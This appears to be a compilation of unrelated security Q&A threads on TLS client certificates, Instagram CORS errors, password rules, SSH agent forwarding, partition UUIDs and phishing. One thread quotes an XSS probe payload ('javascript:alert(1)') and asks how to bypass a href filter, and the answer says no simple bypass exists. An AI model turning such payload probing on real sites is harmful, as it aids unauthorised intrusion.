As far as I can tell from reading documentation, the handshake process is not fundamentally different in the prescence of client certificates - the symmetric encryption key is still derived in the same way, etc.

But, a thing that looks like it might fail is the "hash over all previous messages" step, wherein the client generates a hash of all the previous things it has sent to the server, signs it with the client-cert's private key, and sends that to the server.

So, does this "hash over all previous messages" step include the TCP headers? And thus, would this IT department be causing it to fail by modifying the TCP headers?

If not, what exactly does it mean?

Thanks for your time

It is only a hash over the TLS messages themselves, and not the TCP data.  TCP data is frequently modified in-route (think NAT, etc.) so attempting to hash that would be futile.

Without knowing more about how it's failing, it's hard to say what the cause is.  For example, if they're performing SSL MITM, then it would fail with client certificates, even if their server certificate was accepted.  Another possibility is that they're using some IPS-type device that drops unrecognized packets, and it doesn't recognize client certificate messages.

A PCAP of the session might shed more light.


XSS - will javascript execute in anchor tag where "/" by default added by server in href I came across a scenario, where userinput is reflecting in anchor tag href value. So if i put test there it reflects as <a href="/test">
Due to this default slash added in the code, javascript:alert(1) will not execute since, it will be treated as URL. Also " is not allowed and gives 400.
In this case, is there a possibility to bypass the check, or any way to XSS.

For the sake of keeping things simple, let's assume that you cannot break out of the href attribute and that your input is always prefixed by a /. Unfortunately, there is not trivial bypass for this scenario since as you pointed out, the / renders your payload harmless.


CORS requests for Instagram fail without VPN My wife's machine could not load any Instagram content through JavaScript because of the following error:

Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at https://graph.instagram.com/logging_client_events. (Reason: CORS request did not succeed).

I tried getting it to work again, even went so far as to uninstalling Firefox, clearing any Mozilla related data and reinstalling it... same error (default settings, no plug-ins).

Then I noticed she had been logged out of the VPN service (just a commercial VPN service), so I logged her in without giving it much thought. Try Instagram again and... problem solved.

I tried to repeat the above on my own machine, same story:

VPN service enabled -> everything works just fine.
VPN service disabled -> CORS requests for Instagram fail.

My Question(s):

Is there any common explanation for this behaviour?
Could this point to a compromised router or strange ISP activity?

Background info:

Our current router is a common DSL router/modem supplied by our ISP,
Without the VPN, the connection is a plain and simple consumer setup, without any special configuration or routing.

I've noticed the same issue when accessing Instagram via my own ISP.

The culprit is found in the response headers received from Instagram, which contain the following policy:

access-control-allow-headers: ...

This policy checks for specific headers to be specified for content. In my case, the header: "x-ig-www-claim" is missing which causes a number of requests to fail, and a Failed to load message to appear.

This, on its own suggests that Instagram has misconfigured something on their website, but when testing via my 4G data connection, no errors are shown. The machine, browser and installed software remain the same.

When accessing via 4G, I no longer receive any access-control-allow-headers policy, or any other access-control-methods. There's no filtering on the origin anymore, therefore all requests work.

It's not clear to me why the headers are present via my ISP and missing via 4G, but I'd be interested in knowing if this matches with what you are seeing. Could you confirm?


Why does ebay prohibit certain characters in password strings? I had to change my ebay.com password today and, to my surprise, I was not allowed to use certain characters. For example [ results in an 'invalid' password and the system refuses to accept it.

Is there any sane reason for enforcing rules like this? Or is it just stupidity on their side?

Is this a sign that ebay uses some strange password storage method other than hashing it?

Is there any sane reason for enforcing rules like this? Or is it just
  stupidity on their side?

Not really it's just regular input validation. Probably they made a list of characters commonly used in XSS or SQL injection attacks and blacklisted those.

  Is this a sign that ebay uses some strange password storage method
  other than hashing it?

Not really.


Smartcard authentication SSH remote client I want to use smartcard authentication for my SSH sessions. Now sometimes I want to use a ssh client within a ssh session. So this situation:

My desktop computer with smartcard has a ssh session to shell.provider.com.
From shell.provider.com I have a ssh session to shell.provider2.com
(I sometimes call this situation 'hopping over')

My smartcard is inserted in the desktop computer. Is it (in any way) possible to use smartcard authentication to login to shell.provider2.com?

You can use ssh-agent to add a smart card and then forward agent to the other host. This will let you authenticate on the second host from the first using your local smartcard. In short:

eval `ssh-agent`               # if the agent is not running yet
ssh-add -s /path/to/pkcs11.so  # probably /usr/lib64/opensc-pkcs11.so
                   # or Ubuntu: /usr/lib/x86_64-linux-gnu/pkcs11/opensc-pkcs11.so
# enter your pin
ssh-add -l                     # should list your smartcard
ssh -A shell.provider.com      # should not prompt for pin
ssh shell.provider2.com        # from the shell.provider.com


Does Non Repudiation offer proof of receipt ? I understand that non repudiation intends to provide a mechanism that reliably proves that the sender of a message cannot deny sending the message. But does it also provide similar mechanisms to ensure the recipient of the message cannot deny receiving it.

Non-repudiation binds the sender, not the recipient.  I could, for example, digitally sign a message intended for you.  I wouldn't be able to deny composing the message, but suppose I never sent it?  You'd never get it, even though it was digitally signed.

I can't think of any mechanism not requiring the cooperation of the recipient that proves receipt of a message.  (There's the email return receipt, but a recipient can disable that.)


Sharing the UUIDs of my Linux partitions I currently started using a Debian 9 server for my day-to-day tests.

Because most of the time the system ends destroyed in my hands, I was thinking about doing a backup of my fstab and smb.conf on a public GitHub repo and use them on my system after a system fix or reinstall.

Those files are used to mount the partitions (fstab) and create network shares with samba (smb.confg). Most of the time they contain a way to identify the HDD/SSD/RAID even if is plugged on another PC by using the UUID of the drive.

Is safe to share the UUID of my local drives?
If the UUID is shared, what can a random user do with it?
What precautions should I take with the UUID of my drives?

I am assuming you are asking whether or not a partition UUID is sensitive information.

A UUID is a random value assigned to the partition of a drive. It is used to reference the drive without needing to know its current location (for example, /dev/sdc3). All knowing a UUID allows someone to do is to reference the partition by that UUID instead of a path. The only requirement is that each one is unique, otherwise utilities that rely on this as an identifier may malfunction. The value is generated randomly and contains no personal or sensitive information. As such, it should be completely safe to disclose the UUID of any partition to any other party.

Knowing a UUID will only allow a local user to find the location of the partition:

# findfs UUID=53cdad3b-4b01-4a6c-a099-be1cdf1acf6d
/dev/sdc3

This information is not secret anyway. A local user can obtain the UUID of any partition:

# blkid /dev/sdc3
/dev/sdc3: UUID="53cdad3b-4b01-4a6c-a099-be1cdf1acf6d" TYPE="ext4"


To what extent can Google access data in the standard Android storage locations without restriction? Android docs lists a number of places to store data here.

To what extent can Google access data in these places assuming the developer does not want them to have it?

In other words, if I save a private piece of data in an app that I make in my "private internal storage", and make no use of Google Services (Play, Maps, etc.) whatever, does Google still have access to that data somehow?  Does my carrier?

Does the answer to this change if I'm using Android's own Keystore to encrypt that data?

Note that I'm not talking about a physical or software compromise of the device here, I mean legally.  What do they say, what might be the case (post-Snowden), what probably is the case.

For legal issues regarding the data, you need to read the android terms of Use. There is probably a section on law enforcement.

as far as where the data is: On my google account one of the sync options is called "AppData".


Responsibility of disclosing potential social engineering attack I've just gotten a text message from a number pretending to be my bank and telling me to install a certificate from a suspicious link (link looks like this: bankname-certificate.ru/installation not the actual link obviously)

I have some non-tech aware people in my social circles so I alerted them and instructed them not to use the link etc...

Should I alert my bank about this message? and if yes, how should I do this?

Yes, contact your bank and let them know. I would firstly lookup the fraud department for your institution an send them an email, or call them, and tell them explicitly what you received.

You can run the link URL through Virus Total to see if there are any red flags that pop as well. This will give you more information to pass on to the fraud team.